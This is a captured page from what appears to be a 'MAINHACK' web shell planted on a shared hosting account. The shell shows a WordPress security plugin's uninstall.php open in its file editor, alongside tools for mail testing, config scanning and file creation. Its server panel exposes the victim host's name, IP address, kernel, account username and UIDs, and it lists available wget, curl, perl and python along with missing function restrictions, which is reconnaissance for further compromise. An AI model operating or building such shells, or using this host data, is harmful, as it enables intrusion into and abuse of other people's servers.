[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: uninstall.php
<?php if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } global $wpdb; // The plugin tables. $tables = array( 'sgs_log_visitors', 'sgs_log_events', ); $user_2fa_meta = array( 'configured', 'secret', 'qr', 'backup_codes', ); // Loop through all tables and delete them. foreach ( $tables as $table ) { $wpdb->query( // phpcs:ignore 'DROP TABLE IF EXISTS ' . $wpdb->dbname . '.' . $wpdb->prefix . $table // phpcs:ignore ); } // Reset all users 2FA. foreach ( $user_2fa_meta as $meta ) { delete_metadata( 'user', 0, 'sg_security_2fa_' . $meta, '', true ); } // Delete encryption file. wp_delete_file( defined( 'SGS_ENCRYPTION_KEY_FILE_PATH' ) ? SGS_ENCRYPTION_KEY_FILE_PATH : WP_CONTENT_DIR . '/sgs_encrypt_key.php' ); // Stop uninstall service if SG Optimizer plugin exists. if ( file_exists( WP_PLUGIN_DIR . '/sg-cachepress/sg-cachepress.php' ) ) { return; } // Stop collecting data. require_once dirname( __FILE__ ) . '/vendor/siteground/siteground-data/src/Settings.php'; use SiteGround_Data\Settings; $settings = new Settings(); $settings->stop_collecting_data();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.36 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: 2056